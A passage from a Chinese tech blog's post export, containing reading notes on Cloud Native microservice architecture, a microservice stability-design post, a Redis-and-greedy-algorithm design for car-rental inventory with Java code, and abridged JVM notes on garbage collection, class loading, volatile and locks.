研发环境和流程上的转变\n自动化工具链\n微服务框架\n快速申请资源\n故障发现反馈机制\n研发流程上的转变\n拆分前先做好解耦\n状态外置\n无状态（Statelessness）指的是服务内部变量值的存储。有状态的服务伸缩起来非常复杂，可以通过将服务的状态外置到数据库、分布式缓存中，使服务变成无状态\n无状态不代表状态消失，只是把状态转移到分布式缓存和数据库中了\n并不是所有的业务服务都能设计成无状态，例如客户端与服务端的长连接，这种状态很难外置。\n以下三种常见的状态需要和业务服务拆分开来，否则扩展性将受到很大限制。定时任务 本地存储 本地缓存\n去触发器、存储过程\n解决方案通常是通过外部的业务服务或者定时任务替换触发器及存储过程。\n通过接口隔离\n如果存在多个系统共享一个数据库，就会导致耦合，影响可用性和扩展性。\n微服务划分模式 基于业务复杂度选择服务划分方法\n当业务复杂度足够高的时候，应该基于领域驱动划分服务，而领域驱动本身足够复杂，很多概念比较抽象，应用范围并不是特别广泛，所以当业务复杂度较低时，可以选择基于数据驱动划分服务。数据驱动更容易理解和上手。也就是说，除非业务复杂度非常高，否则应该优先以数据驱动划分服务。\n基于数据驱动划分服务\n数据驱动是一个自下而上的架构设计方法，数据驱动强调的是数据结构，也就是通过分析需求，确定整体数据结构，根据表之间的关系划分服务\n基于领域驱动划分服务\n领域驱动是一个自上而下的架构设计方法，通过和领域专家建立统一的语言，不断交流，确定关键业务场景，逐步确定边界上下文。\n从已有单体架构中逐步划分服务\n微服务拆分策略\n比较独立的新业务优先采用微服务架构。\n优先抽象通用服务。\n优先抽象比较容易识别的、边界比较明显的服务。\n优先抽象核心服务。\n优先抽象具有独立属性的服务\n采用绞杀者模式，在遗留系统外围，随着时间的推移，让新的服务逐渐“绞杀”老的系统。\n如何衡量服务划分的合理性\n一个小功能的修改从需求到上线需要多长时间？正常情况下的微服务架构交付周期应该是以天为单位的。\n大多数功能修改是否可以在一个服务内完成？\n是否要频繁修改接口？\n响应时间是否能满足要求？\n是否存在大量的跨服务更新？\n微服务划分反模式 根据代码行数划分服务\n划分粒度越小越好\n一次性划分服务\n服务划分一旦完成，不能改变\n先实施组件化，再实施微服务架构\n微服务API设计 优秀API的设计原则\n简单\n易懂\n一致\n稳定\n安全\n服务间通信——RPC 影响RPC性能的因素 序列化\n传输协议\n连接\nIO模型\n服务间通信——RESTful\nAPI如何设计才能满足RESTful的要求呢？\n协议\n域名\n版本\n路径\n方法\n参数\n编码\nHTTP协议的进化\u0026mdash;HTTP/2\n在HTTP/1.x的协议中，浏览器在同一时间对同一域名下的请求数量是有限制的，这会导致大量并发请求阻塞，这个问题也被称为线端阻塞（head-of-lineblocking）。如表所示。HTTP/1.1对不同浏览器连接数的限制不同，很多互联网公司为了解决这个问题，做了大量优化，包括建立多域名，通过CDN缓存大量静态资源等。\nHTTP/2是基于二进制协议的\nHTTP/2的多路复用机制（Multiplexing）\nHTTP/2完全兼容HTTP/1.1的语义\nHTTP/2引入服务端推送模式，即服务端向客户端发送数据\nHTTP/2和Protobuf的组合——gRPC\nHTTP/2支持流（streaming），在批量发送数据的场景下使用流可以显著提升性能——服务端和客户端在接收数据的时候，可以不必等所有的消息全收到后才开始响应，而是在接收到第一条消息的时候就可以及时响应\ngRPC默认使用Protobuf进行序列化和反序列化\ngRPC默认采用HTTP/2进行传输\ngRPC 的流可以分为三类：客户端流式发送、服务器流式返回，以及客户端/服务器同时流式处理，也就是单向流和双向流\nHTTP/2相比于基于TCP的通信协议，性能上也有显著的差距。\n微服务框架 微服务框架有很多，综合起来看需要实现如下几个重要的功能。\n需要微服务框架能够设定最大容量，采用洪峰策略，隔离关键服务，控制版本，对服务分级，优雅降级。\n服务治理\n容量规划\n高效通信\n负载均衡\n基于Dubbo框架实现微服务\n基于Spring Cloud框架实现微服务\n微服务部署策略\n服务独享数据库\n服务独享虚拟机/容器\nEnd\n关注公众号 获取更多精彩内容\n","date":"2020-03-02T15:02:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-02-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-02/cover.jpg","permalink":"/p/2020-03-02-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-02/","title":"持续演进的Cloud Native (读书笔记02)"},{"content":"服务分级与容量规划 通过依赖的管理，我们能够知道，当前系统调用了哪些服务，被哪些服务调用。接下来，我们便可以根据当前系统所依赖的服务，以及系统的流程，判断依赖的服务是否影响应用的流程，以此来决定当前应用依赖的优先级。 对于服务提供者来说，需要清楚了解当前的服务到底被多少人调用，并建立应用白名单机制，服务调用需要事先申请，以便将调用方增加到白名单当中进行管理和容量规划。为保障系统稳定，对于未知的调用者，最好的方式便是直接拒绝，以免给系统带来不确定风险。如果没有事先的容量规划，当未知的调用者流量突增，很可能将系统拖垮。 **服务提供者也需要对服务消费者的优先级进行区分，哪些调用将影响核心链路，哪些调用是非核心链路。****当系统压力过大，无法承载的时候，必须 优先确保重要等级高的应用，核心的调用链路优先确保畅通，而对于重要性不那么高的应用，则可以暂时丢车保帅。** 优雅降级 当依赖的服务出现不稳定，响应缓慢或者调用超时，或者依赖系统宕机，当前的系统需要能够及时感知到并进行相应处理，否则，大量超时的调用，有可能将当前系统的线程和可用连接数用完，导致新的请求进不来，服务僵死，这便是故障传递。如果处理不及时**，故障的传递可将一个非核心链路的问题扩大，引起核心节点故障，最终形成多米诺骨牌效应，使得整个集群都不能对外提供服务。** 这样，服务调用优雅降级的重要性便体现出来了。对于调用超时的非核心服务，可以设定一个阀值，如果调用超时的次数超过这个阀值，便自动将该服务降级。此时，服务调用者跳过对该服务的调用，并指定一个休眠的时间点，当时间点过了以后，再次对该服务进行重试，如果服务恢复，则取消降级，否则，继续保持该服务的降级状态，直到所依赖的服务故障恢复。这样，便可以一定程度上避免故障传递的现象发生。 开关 当系统负载较高，即将突破警戒水位的时候，如何通过实时地屏蔽一些非核心链路的调用，降低系统的负载呢？这个时候，需要系统预先定义一些开关，来控制程序的服务提供策略。开关通过修改一些预先定义好的全局变量，来控制系统的关键路径和逻辑，比如，可以定义一个是否允许某一个级别的应用调用当前服务的开关，当系统处于流量高峰期的时候，将非核心链路的调用屏蔽，等高峰期过去之后，再将相应的开关打开。 当然 ，同一个应用，可能也会对外提供多个服务，如果服务耗费系统资源较多，且又不影响系统核心链路，这时，也可以将一些非核心的服务关闭掉，以减轻系统的负担，有效的提高系统对核心应用的服务能力。 建立服务监控、统计、报表 服务运行期间，需要对服务器相应指标进行监控，如系统load、磁盘利用率、内存占用率、网络流量、QPS/TPS 等。 对于服务的调用，需要有统计的报表，按照小时/日/周/月 展示 ，并且通过设置异常情况监控，如流量突增突降，系统要能够及时报警。 应用预案\n紧急情况（如双十一、双十二、热点事件等）并不是时时刻刻都发生，大部分人在第一次面对突发事件时，难免会显得手足无措。因此，要想在系统出现故障的情况下能够处变不惊，沉着应对，将损失降到最低，首先得准备一份应急预案，并且，得进行经常性的故障演练，以熟悉各种情况下对应的应急预案的操作流程和规范，避免紧急情况下错误的决策致使损失扩大，并且在实际操作中也能够积累经验。 **应急预案中需要明确的规定服务的级别，梳理清楚核心应用的调用链路，对于每一种故障，都做出合理的假设和有针对性的处理方法，对于级别低的调用和功能，事先准备好屏蔽的开关和接口。** 场景和问题\n以下问题供大家思考 场景一：假设某服务最大承受10 000TPS，如果超出是排队等待还是保证10 000TPS范围内请求正常，其他请求直接拒绝？\n场景二：非核心服务流量洪峰导致核心服务受到影响，如何解决？\n场景三：某服务有几百个消费者，如果其中一个消费者要求升级，满足一个临时活动，是否要求所有服务同步升级？\n关注公众号 获取更多精彩内容\n","date":"2020-03-01T11:18:22Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-01-wei-fu-wu-jia-gou-wen-ding-xing-she-ji/cover.jpg","permalink":"/p/2020-03-01-wei-fu-wu-jia-gou-wen-ding-xing-she-ji/","title":"微服务架构：稳定性设计"},{"content":"\nCloud Naive 定义\n如果非要给Cloud Native下一个定义，那么我认为，Cloud Native是一系列架构、研发流程、团队文化的最佳实践集合，以此支撑更快的创新速度、极致的用户体验、稳定可靠的用户服务、高效的研发效率。\nCloud Native 组成\n观察任何一个企业都可以从三个角度出发，这三个角度分别是技术、流程、文化，三个方面都做好才能成为伟大的企业。Cloud Native也一样，需要从架构、研发流程、团队文化三个角度来实现，三者需要相互配合，缺一不可。Cloud Native的组成，如图\n从架构的角度来讲，Cloud Native是以云和微服务架构为基础构建系统的，这里的云并不一定是公有云，也可以是私有云、混合云，云包含了敏捷基础设施及公共基础服务。除此之外，还需要考虑架构的质量属性。下图为Cloud Native架构的组成\nCloud Native成熟度模型\nCloud Native 原则\n为失败设计原则\n从架构的角度讲，为失败设计同样重要，因为失败是不可避免的，我们希望失败的结果是我们预料到的，是经过设计的。\n因为失败是不可避免的，所以设计目标是预测并解决这些故障。\n不变性原则\n实现不变性原则的前提是，基础设施中的每个服务、组件都可以自动安装、部署，不需要人工干预。每个服务或组件在安装、部署完成后将不会发生更改，如果要更改，则丢弃老的服务或组件并部署一个新的服务或组件。替换的速度远远快于修复的速度。 标准化原则\n如果我们都采用相同的微服务框架，那么服务之间的调用将变得非常容易。而且，团队间发生人员流动，也不再会因为换了一种框架而需要漫长的熟悉时间。当所有的日志打印都遵循某种标准的时候，对于排除故障，日志分析将非常重要。\n独立自主和标准化是一对互斥的原则，独立代表的是灵活、创新，而标准则代表效率、稳定，两者需要权衡。所谓独立自主是在一定的标准下实现的\n速度优先原则\n效率更像一种“节流”方法，而速度是接近于“开源”的一种手段。当速度和效率发生冲突时，速度优先。 简化设计原则\n越是基础的服务，越需要稳定，越需要简化设计、简化运维。简化设计也是Amazon和Netflix的软件设计原则。 自动化驱动原则\n任何重复性的工作都应该自动化，只有真正拥抱自动化的时候，才能做到持续发布，才能做到更好的用户体验。 演进式设计原则\n架构是持续演进的，并非一蹴而就的。单凭设计阶段很难达到理想的目标，需要不断锤炼。初级阶段应该采用尽可能简单的架构，因为初级阶段对需求、规模等都不是十分确定，可以采用快速迭代的方式进行架构演进。很多互联网公司都强调架构演 关注公众号 获取更多精彩内容\n","date":"2020-02-29T15:53:59Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-29-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-01/cover.jpg","permalink":"/p/2020-02-29-chi-xu-yan-jin-de-cloud-native-du-shu-bi-ji-01/","title":"持续演进的Cloud Native (读书笔记01)"},{"content":"\n很多业务系统构架中都有库存服务\n库存可以以数量为单元，假如有5台手机，那么库存就是 5 ，卖掉一台，库存就减 1 变成 4 。这种以数量为单位进行的库存计算相对比较简单，在架构设计中无论你优化DB中的SQL，还是存储结构，或者引入Redis做缓存都比较好设计和实现。\n有些库存不是以数量为单位的，比如酒店房间，这是可以重复利用的，是以天为单位的，行话叫“间夜”，理论上如果某间房间一年365天都可用，那么一年就有365个库存，一天就一个。A客人1月1号占了，B客人1月1号就不能占。当然，还有钟点房，时间粒度更细，这个先不讨论，后面会涉及。\n还有些业务的库存是以更细粒度为单位的，比如小时。租车业务就是以小时为单位进行库存占用的，假设我们只有一辆车，A客户8:00-10:00租用，B客户可以 11:00-15:00租用。\n以下的库存优化思路是针对租车这种细粒度的占用单位的\n笔者几年前参与过租车业务中库存系统的改造升级，当时的库存服务主要的问题有两个\n没有形成独立的服务，与其他服务耦合在一个“全家桶”式的系统中\n与库存相关的业务提供的RPC服务响应较慢，而又由于库存是核心服务，所以库存一慢，各相关子系统都会拖慢\n对于第一个问题，相对比较好解决，我们将库存服务独立出来，包括数据库。问题在于第二个，其实慢的原因也很明显，就是对于库存的计算完全依赖数据库，利用SQL与java代码进行计算，当然重头戏在DB，当时采用的数据库是SQL Server，幸亏是SQL Server，如果是My SQL的话可能性能撑不到我们对它进行改造的时候。随着数据量的增加，整个库存服务在完全依赖DB的情况下，服务的查询速度较慢，是秒的量级。\n当时的改造先进行了一轮谨慎的尝试，即对业务进行整体重新梳理、对现存SQL，java代码进行全面优化。优化的结果并不理想，虽然这个过程让业务更清晰，也发现了些遗留问题和BUG，但是并没有解决慢的根本问题。\n在第一轮的基础上想过用缓存进行处理的方案，但由于单位粒度太细，缓存的设计方案复杂又不好落地，并没有采用。在QPS和TPS趋于平稳的情况下，库存系统的问题并没有被逐渐放大，反而似乎没有到大家忍受不了的地步。于是就不了了之了。\n而实际上，这件事真的就结束了吗？我想不一定\n由于当时公司的系统越来越多，并且旧系统也会升级改造，随着一些业务的新增或升级，如果有突发的流量，比如做个营销活动，系统能不能撑得住？即使撑得住，用户体验会不会好？我不知道，但我知道如果一个核心服务慢了，整体的体验都不会好。\n其实对于我个人来讲，那次的改造不彻底也是我的一个心结，首先当时没有明确的标准和目标，没有特别清晰的量化下来，比如库存服务优化到300-500ms。其实当时我很清楚它慢，就是没有很好的解决了那个问题，心有不甘。\n于是今天想起来，提出一个方案，看能不能解决它！\n整个库存服务的重点就是如何准确的计算出来它的值，如果算的不对，可能导致有车租不出去（算少了），或没车租出去了（算多了）。而计算这个值的公式特别简单：\n**可预定车辆数 = 现有运营车辆数 - 被占用车辆数** 1 我们将现有运营车辆数以 门店_车型_amount 为 key ，车辆数为 value 存在Redis中。 当现有运营车辆数变化时，在修改DB的同时同步Redis，当然无论是DB还是Redis都是要做高可用架构设计的，以防止单点故障的发生。\n2 被占用车辆原先是以数据库表的方式存储的记录，之前由于时间粒度太细，所以用SQL计算，所以慢，这里我们采用贪心算法的思路，具体是这样的：\n首先按门店+车型 一对一的将占车记录取出来。如A门店C1车型，A门店C2车型。将每组每条占车记录的开始和结束时间转为Unix时间戳，最小单位是秒，如：1546315932。 再将开始和结束时间组成一个闭区间如[1546315932,1546316000]，再把每组的这些闭区间组成一个二维数组。int[][]intervals。 例如：\n[[1546315932,1546316000],[1546315942,1546317000],[1546315932,1546315943],[1546315901,1546315907]]\n最后每一个门店+车型都对应一个占车二维数组。 将这些数组以 门店\\_车型\\_occupy 为 key ，二维数组为 value 序列化到redis中 **当要计算某门店某车型的库存时，先将上面的以门店\\_车型\\_occupy为key的值取出，然后利用贪心算法计算出时间段重合的占用数量，再用门店\\_车型\\_amount为key的总量减去占用数量就得到了可用库存数。如果时间段不重合就更新Redis二维数组添加新的元素。Redis在操作期间是需要LOCK的。** **贪心算法 **\n贪心算法，特别适合解决 Interval Scheduling（区间调度问题），**比如算出多个区间中最多有几个互不相交的区间；**或给定一个区间的集合，找到需要移除区间的最小数量，使剩余区间互不重叠。如果我们请求库存的参数中的时间与现有占车记录的有重叠，那么返回的需要移除区间的最小数量就是 \u0026gt;=1 的。\n代码实现如下：\n1public int eraseOverlapIntervals(int[][] intervals) { 2 if (intervals.length == 0) { 3 return 0; 4 } 5 Arrays.sort(intervals,new Comparator\u0026lt;int[]\u0026gt;(){ 6 @Override 7 public int compare(int[] o1,int[] o2){ 8 return o1[1]-o2[1]; 9 } 10 }); 11 int cnt = 1; 12 int end = intervals[0][1]; 13 for (int i = 1; i \u0026lt; intervals.length; i++) { 14 if (intervals[i][0] \u0026lt; end) { 15 continue; 16 } 17 end = intervals[i][1]; 18 cnt++; 19 } 20 return intervals.length - cnt; 21} 由于贪心算法是线性时间复杂度，又是在内存中计算，所以效率会比数据库高很多。\n这里你可能会关心Reids存储的数据量，由于车辆的开放预定周期不会太久，比如半年或一年，那么分到每个门店和车型其实预定的人并不那么多，即使在未来的预定周期内所有车都被预定了数据量也不很大。\n对于过期的数据，比如一个月以前或一周以前的不再参与库存计算的Redis数据，用定时任务清掉就可以了，或者也可以再行持久化备份一份。\n这里讲的是单车型的，如果要算多车型的，就起多线程并行计算。\n以上就是利用了缓存和贪心算法进行的缓存优化，在此基础上还应该注意：不要对原服务（依赖数据库版本）进行删除，可做为系统服务降级时使用。Redis也要做好高可用和数据库降级处理，如果Redis挂了，还可以用DB顶一下，如果数据没有了，就将整个服务降级到老版本。\n需要注意的是，上面的方案我并没有在生产环境实施过，只是一种单纯的设计，如有不严谨和不对的地方，欢迎指正。如你需要解决相似的问题，请谨慎参考！\nEnd\n关注公众号 获取更多精彩内容\n","date":"2020-02-28T14:12:54Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-28-ku-cun-fu-wu-you-hua-si-lu/cover.jpg","permalink":"/p/2020-02-28-ku-cun-fu-wu-you-hua-si-lu/","title":"库存服务优化思路"},{"content":"\n深入java虚拟机这本书已经出了三版了，第三版是19年出的，笔者读过第二版和第三版，我的感受是，当一本技术书在没有完全吃透的情况下，每读一遍都会有新的收获，以下读书笔记整理是基于第二版的，第三版出版后填了许多第二版留下的 “坑”，增加了不少“与时俱进”的内容，感兴趣的小伙伴可以去找一下读读看，也许能解答你多年的疑惑。第三版我是在微信读书用免费试用的无限卡看完的，三版纸质书原价过百了 **声明：****以下整理的笔记内容是极简版(带部分私货)，即我认为的部分重要内容梗概，方便做知识图谱的勾勒，不能详尽的表达所有涉及知识，想要深入学习最好还是去看书。 **\n一 内存区域及对象创建\n1.1 运行时数据区\njdk7默认栈大小为1M java -XX:+PrintFlagsFinal -version | grep -i 'stack' 可查看与stack相关信息 1.2 分配对象空间\n慢速分配 重点在是否用TLAB和“指针碰撞”\n1.3 TLAB\nJVM在内存新生代Eden Space中开辟了一小块线程私有的区域，称作TLAB（Thread-local allocation buffer）。默认设定为占用Eden Space的1%。在Java程序中很多对象都是小对象且用过即丢，它们不存在线程共享也适合被快速GC，所以对于小对象通常JVM会优先分配在TLAB上，并且TLAB上的分配由于是线程私有所以没有锁开销。因此在实践中分配多个小对象的效率通常比分配一个大对象的效率要高。也就是说，Java中每个线程都会有自己的缓冲区称作TLAB（Thread-local allocation buffer），每个TLAB都只有一个线程可以操作，TLAB结合bump-the-pointer技术可以实现快速的对象分配，而不需要任何的锁进行同步，也就是说，在对象分配的时候不用锁住整个堆，而只需要在自己的缓冲区分配即可。 1.4 Mark Word\n二 垃圾回收\n2.1 如何确定对象已死？\n引用计数算法\n不用！问题是有对象循环引用的问题 可达性分析算法\n用**GC Roots** 作为起点，当一个对象到GC Roots没有任何引用链相连，就可回收，枚举GCRoots会导致 “ stop the world ” 以下对象被标记成Root: Class: 由系统类加载器(system class loader)加载的类，它们不能被卸载。由自定义的类加载器加载的类不是Root，除非相应的java.lang.Class的实例是其它类型的Root\nThread: 活着的线程\nStack Local:Java方法的参数或者本地变量\nJNI Local: JNI方法的参数或者本地变量\nMonitor Used：同步用的监控器\nHeld by JVM: JVM自己持有的对象，比如系统类加载器，一些异常等\n2.2 对象引用\n• 强引用：new 出来的一般对象，只要引用在就不会被回收 • 软引用: 将要发生内存溢出之前回收 • 弱引用: 生存到下一次垃圾收集发生之前 • 虚引用：目的是对象被收集器回收时收到一个系统通知 2.3 垃圾收集算法\n**复制-Cpoying:** 将内存分成两块，一块用完了，将可用的放到另一块，第一块全部回收，缺点，只能用一半的内存代价太高。\n在新生代中，每次垃圾收集时都发现有大批对象死去，只有少量存活，选用：复制算法在老年代中因为对象存活率高、没有额外空间对它进行分配担保，就必须使用“标记-清除”或者“标记-整理”算法来进行回收。\n标记清除-Mark-Sweep:\n先标记后清除 缺点：1 效率不高 2 内存碎片导致提前触发回收 标记整理-Mark-Compact:\n将存活的对象向一端移动，直接清理掉边界以外的内存 分代收集算法-Generational Collection\n2.4 算法实现\nhotspot的算法实现 ,如何发起回收 • 枚举根节点 • 安全点 safepoint • 安全区域safeRegion 2.5 垃圾收集器\n有关这一节的内容我在前文 [JVM G1(Garbage First)垃圾收集器浅析](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==\u0026amp;mid=2247484047\u0026amp;idx=1\u0026amp;sn=655c07e671807625996c0bbabbe532cb\u0026amp;chksm=eb6dbd09dc1a341fc7ffe064293c8dc5042bf0d0c7232c74740dc42e971c946cbf6102c9a71b\u0026amp;scene=21#wechat_redirect) 中都有写到，这里就不赘述了。 2.6 内存分配\nMinor GC 存活对象会反复在S0和S1之间移动，当对象从Eden移动到Survivor或者在Survivor之间移动时，对象的GC年龄自动累加，当GC年龄超过默认阈值15时，会将该对象移动到老年代，可以通过参数-XX:MaxTenuringThreshold 对GC年龄的阈值进行设置。\n长久存活的直接进入老年代，默认年龄15岁\n大对象直接进入老年代，所谓大对象就是大量连续内存空间的对象。-XX:PretenureSizeThreshold参数，令大于这个值的对象直接进入老年代\nMinor GC触发条件：当Eden区满时，触发Minor GC。\n空间分配担保\n当 JVM 无法为一个新的对象分配空间时会触发 Minor GC，比如当 Eden 区满了就会进行MinorGC,在MinorGC之前 检查老年代最大连续可用空间是否大于新生代所有对象空间总和。\n2.7 Full GC\n什么时候发产生？ System.gc()方法的调用\n老年代代空间不足\n永生区空间不足\nCMS GC时出现promotion failed和concurrent mode failure\n统计得到的Minor GC晋升到旧生代的平均大小大于老年代的剩余空间\n堆中分配很大的对象\n2.8 回收方法区\n主要是两部分 • 废弃常量 • 无用的类 2.9 Sto The World\nstop the world (STW) 不管是新生代老生代都会产生STW,重点是时长多久 三 性能监控与故障处理工具\njps(JVM Process Status):虚拟机进程状况工具 显示虚拟机进程 jps -l\njstat(JVM Statistics Monitoring Tool):监控虚拟机各种运行状态\njinfo(Configuration Info for Java):java配置信息工具\njmap(Memory Map for Java) 堆转储快照\njstack(Stack Trace for Java) java堆栈跟踪工具\n监控工具：\n• jconsole\n• visualVM\n• BTrace 动态日志跟踪：可以通过HotSpot虚拟机的HotSwap的技术动态加入 原来不存在的调试代码。\n**四 class 文件 **\n一文让你明白java字节码（https://www.jianshu.com/p/252f381a6bc4）,这篇文章写的很明白！ 五 虚拟机类加载机制\n虚拟机把描述类的数据从Class文件加载 到内存，并对数据进行校验、转换解析和初始化，最终形成可以被虚拟机直接使用的JAVA类型，这就是虚拟机的类加载机制。 加载 : 一个类必须与类加载器一起确定唯一性 • 加载阶段完成后，虚拟机外部的二进制字节流就按照虚拟机所需的格式存储在方法区之中。\n验证：可以使用 -Xverify:none参数来关闭大部分的类验证措施，以缩短虚拟机类加载的时间。\n准备：准备阶段是正式为类变量分配内存并设置类变量初始值的阶段，这些变量所使用的内存都将在方法区中进行分配。\n5.1 类加载器\n虚拟机设计团队把类加载阶段中的“通过一个类的全限定名来获取描述此类的二进制字节流”这个动作放到JAVA虚拟机外部去实现，以便让应用程序自己决定如何去获取所需要的类。实现这个动作的代码模块称为“类加载器” 比较两个类是否“相等”，只有在这两个类是由同一个类加载器加载的前提下才有意义 5.2 双亲委派模型\n启动类加载器（Bootstrap ClassLoader）,加载\u0026lt;JAVA_HOME\u0026gt;\\lib 目录中的类库\n扩展类加载器(Extension ClassLoader),加载\u0026lt;JAVA_HOME\u0026gt;\\lib\\ext目录中的类库\n应用程序类加载器(Application ClassLoader)，加载用户类路径（ClassPath）上所指定的类库\n如果一个类加载器收到类加载的请求，它首先不会自己去尝试加载这个类，而是把这个请求委派给父类加载器完成。每个类加载器都是如此，只有当父加载器在自己的搜索范围内找不到指定的类时（即ClassNotFoundException），子加载器才会尝试自己去加载 5.3 破坏双亲委派模型\nJNDI、JDBC等\nOSGI\n5.4 SPI\nSPI 全称为 (Service Provider Interface) ,是JDK内置的一种服务提供发现机制。目前有不少框架用它来做服务的扩展发现， 简单来说，它就是一种动态替换发现的机制， 举个例子来说， 有个接口，想运行时动态的给它添加实现，你只需要添加一个实现。具体是在JAR包的\u0026quot;src/META-INF/services/\u0026quot;目录下建立一个文件，文件名是接口的全限定名，文件的内容可以有多行，每行都是该接口对应的具体实现类的全限定名 java的spi 的简单应用(https://www.cnblogs.com/huzi007/p/6679215.html) 六 虚拟机字节码执行引擎\n栈帧的概念结构 局部变量表\n第0位索引存储的是所属对象实例的引用 ，即this 七 晚期（运行期）优化\nhotspot内置两个编译器C1和C2，解释器和编译器搭配使用的方式在虚拟机中称为“混合模式”（Mixed Mode） c1编译器获取更快的编译速度，c2获取更高的编译质量。\n在虚拟机执行架构中，解释器与编译器经常配合工作。\n参数 -Xint 强制虚拟机为解释模式（Interpreted mode），这时编译器完全不介入\n参数 -Xcomp强制为解释模式(Compiled Mode)\n分层编译策略 JDK7默认开启\n栈上替换(On Stack Replacement \u0026ndash;OSR),即方法栈帧还在栈上，方法就被替换了\n判断一段代码是不是热点代码称为热点探测\n• 基于采样的热点探测\n• 基于计数器的热点探测\u0026ndash;目前用的是这种\n7.1 JIT编译器、解释、编译\n在 JVM 中，编译是基于两个计数器的：一个是方法被调用的次数，另一个是方法中循环被回弹执行的次数。 八 内存模型\n8.1 volatile\nvolatile可以禁止指令重排序优化\n保证可见性、不保证原子性\n不保证原子性,并不保证互斥(也就是说多个线程并发修改某个变量时，依旧会产生多线程问题，但适合使用一个线程写，多个线程读的场合)\n禁止指令重排的原理是插入许多内存屏障指令\n以下场景可以使用volatile\n运算结果并不依赖变量的当前值，或者能够确保只有单一的线程修改变量的值\n变量不需要与其他的状态变量共同参与不变约束\n8.2 volatile 原理\n使用Violatile修饰的变量在汇编阶段，会多出一条lock前缀指令，它在多核处理器下会引发两件事情：将当前处理器缓存行的数据写回到系统内存 这个写回内存的操作会使在其他CPU里缓存了该内存地址的数据无效。通常处理器和内存之间都有几级缓存来提高处理速度，处理器先将内存中的数据读取到内部缓存后再进行操作，但是对于缓存写会内存的时机则无法得知，因此在一个处理器里修改的变量值，不一定能及时写会缓存，这种变量修改对其他处理器变得“不可见”了。但是，使用Volatile修饰的变量，在写操作的时候，会强制将这个变量所在缓存行的数据写回到内存中，但即使写回到内存，其他处理器也有可能使用内部的缓存数据，从而导致变量不一致，所以，在多处理器下，为了保证各个处理器的缓存是一致的，就会实现缓存一致性协议，每个处理器通过嗅探在总线上传播的数据来检查自己缓存的值是不是过期，如果过期，就会将该缓存行设置成无效状态，下次要使用就会重新从内存中读取。 volatile语义中的**内存屏障**策略非常严格保守，非常悲观且毫无安全感的心态：在每个volatile写操作前插入StoreStore屏障，在写操作后插入StoreLoad屏障；在每个volatile读操作前插入LoadLoad屏障，在读操作后插入LoadStore屏障；由于内存屏障的作用，避免了volatile变量和其它指令重排序、线程之间实现了通信，使得volatile表现出了锁的特性。 8.3 原子性、可见性、 有序性\n基本数据类型的读写是具有原子性的 在synchronized块之间的操作也具备原子性\nvolatile变量保证了多线程操作时变量的可见性，而普通变量则不能保证这一点。\nsynchronized和final也可以实现可见性\nvolatile和synchronized保证线程间操作的有序性\n8.4 先行发生原则 happens-before\n程序次序规则。在一个线程内，书写在前面的代码先行发生于后面的。确切地说应该是，按照程序的控制流顺序，因为存在一些分支结构。\nVolatile变量规则。对一个volatile修饰的变量，对他的写操作先行发生于读操作。\n线程启动规则。Thread对象的start()方法先行发生于此线程的每一个动作。\n线程终止规则。线程的所有操作都先行发生于对此线程的终止检测。\n线程中断规则。对线程interrupt()方法的调用先行发生于被中断线程的代码所检测到的中断事件。\n对象终止规则。一个对象的初始化完成（构造函数之行结束）先行发生于发的finilize()方法的开始。\n传递性。A先行发生B，B先行发生C，那么，A先行发生C。\n管程锁定规则。一个unlock操作先行发生于后面对同一个锁的lock操作。\n时间先后顺序与先行发生原则之间基本没有太大的关系。\n九 锁\n9.1 锁优化\n9.1.1 自旋锁\n自旋锁原理非常简单，如果持有锁的线程能在很短时间内释放锁资源，那么那些等待竞争锁的线程就不需要做内核态和用户态之间的切换进入阻塞挂起状态，它们只需要等一等（自旋），等持有锁的线程释放锁后即可立即获取锁，这样就避免用户线程和内核的切换的消耗。但是线程自旋是需要消耗cup的，说白了就是让cup在做无用功，线程不能一直占用cup自旋做无用功，所以需要设定一个自旋等待的最大时间。如果持有锁的线程执行的时间超过自旋等待的最大时间扔没有释放锁，就会导致其它争用锁的线程在最大等待时间内还是获取不到锁，这时争用线程会停止自旋进入阻塞状态。 9.1.2 轻量级锁\n9.1.3 偏向锁\n偏向锁也是JDK 6中引入的一项锁优化措施，它的目的是消除数据在无竞争情况下的同步原语，进一步提高程序的运行性能。如果说轻量级锁是在无竞争的情况下使用CAS操作去消除同步使用的互斥量，那偏向锁就是在无竞争的情况下把整个同步都消除掉，连CAS操作都不去做了。偏向锁中的“偏”，就是偏心的“偏”、偏袒的“偏”。它的意思是这个锁会偏向于第一个获得它的线程，如果在接下来的执行过程中，该锁一直没有被其他的线程获取，则持有偏向锁的线程将永远不需要再进行同步。 9.2 CAS\nCAS（Compare and Swap）是一种乐观锁（每次不加锁，假设没有冲突去完成某项操作，如果因为冲突失败就重试，直到成功为止。） CAS存在ABA问题， java用 AtomicStampedReference，带有标记的原子引用类解决了这个问题。\nAtomicInteger就是用CAS实现的\nAtomicLongFieldUpdater可以对指定\u0026quot;类的 \u0026lsquo;volatile long\u0026rsquo;类型的成员\u0026quot;进行原子更新。它是基于反射原理实现的。\n只能保证一个共享变量的原子操作。对一个共享变量执行操作时，CAS能够保证原子操作，但是对多个共享变量操作时，CAS是无法保证操作的原子性的。Java从1.5开始JDK提供了AtomicReference类来保证引用对象之间的原子性，可以把多个变量放在一个对象里来进行CAS操作。\nCAS通过调用JNI的代码实现的。JNI:Java Native Interface为JAVA本地调用，允许java调用其他语言。而compareAndSwapInt就是借助C来调用CPU底层指令(Atomic::cmpxchg(x,addr,e))实现的。\n￼\n☆ END ☆\n关注公众号 获取更多精彩内容\n","date":"2020-02-27T12:12:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-27-shen-ru-java-xu-ni-ji-ji-jian-ban-du-shu-bi-ji/cover.jpg","permalink":"/p/2020-02-27-shen-ru-java-xu-ni-ji-ji-jian-ban-du-shu-bi-ji/","title":"深入java虚拟机（极简版读书笔记）"},{"content":"\nGarbage First（简称G1）收集器是垃圾收集器技术发展历史上的里程碑式的成果，它开创了收集器面向局部收集的设计思路和基于Region的内存布局形式。被Oracle官方称为“全功能的垃圾收集器”（Fully-Featured 